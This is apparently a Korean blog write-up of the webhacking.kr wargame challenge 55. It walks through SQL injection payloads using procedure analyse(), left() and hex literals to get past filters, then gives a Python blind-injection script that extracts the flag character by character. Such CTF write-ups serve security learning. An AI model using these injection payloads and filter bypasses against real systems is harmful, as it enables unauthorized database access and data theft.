본문 바로가기

Wargame, CTF/webhacking.kr

Webhacking.kr 55번

메인화면

게임 같은거하고 마우스랑 몬스터 겹치면 죽음

rank눌러보면

 

rank

이런 화면이 나온다

 

그리고 밑에

쿼리문

쿼리문이 나와있다

insert into chall55 values('id', 'score', 'flag)

이걸로 이제 게임이 끝나면 id, score, flag가 같이

데이터베이스에 추가된다는걸 알았다

 

1등의 점수를 누르니까 다른사람이 나온다

url

아마 조회하는 쿼리문은

select id, score from chall55 where score=~~~

이렇게 되어있는것 같다

그래서 어차피 최고점은 같지만 먼저 select된 id가 HeXJuNo저분이라 그런듯

 

select 구문이 안되서

저번에 쓴 procedure analyse()를 써봤음

 

score=2147483647 limit 0,1 procedure analyse()

첫번째 컬럼

flag가 있는 컬럼은 3번째일거 같으니

score=2147483647 limit 2,1 procedure analyse()

flag가 있는 컬럼명

flag가 있는 컬럼의 이름은 

p4ssw0rd_1123581321

 

일단 flag의 길이부터 알아낸다

score=2147483647%20and%20length(p4ssw0rd_1123581321)=31

flag는 31자리

이제 한글자씩 따오면되는데

substr이랑 mid가 필터링 되어있고

left랑 right는 필터링 되어있지않다

'가 필터링 되어있어서

'a'이런식으로는 못하지만

0x는 살아있어서

0x61 이런식으로는 찾을 수 있다

 

flag 포맷 형식이

flag{~~}일거니까 첫글자 무조건 f라치고

import requests

url="https://webhacking.kr/challenge/web-31/rank.php?score=1%20and%20"

cookie={"PHPSESSID":"nubg8cijd8b19fl112endi9m97"}

session=requests.Session()

password="0x66"
passwd="f"

for i in range(2,32):
    for j in range(33, 127):
        payload=session.get(url+"left(p4ssw0rd_1123581321,"+str(i)+")="+password+format(j,'x'),cookies=cookie)
        if("Milka" in payload.text):
            print(chr(j)+"is correct!!!!!!!")
            password += format(j,'x')
            passwd += chr(j)
            break
        print(chr(j)+"is incorrect")
print(passwd)

클리어

 

'Wargame, CTF > webhacking.kr' 카테고리의 다른 글

Webhacking.kr 4번  (0) 2019.12.27
Webhacking.kr 8번  (0) 2019.12.27
Webhacking.kr 29번  (0) 2019.12.20
Webhacking.kr 53번  (0) 2019.12.13
Webhacking.kr 35번  (0) 2019.12.11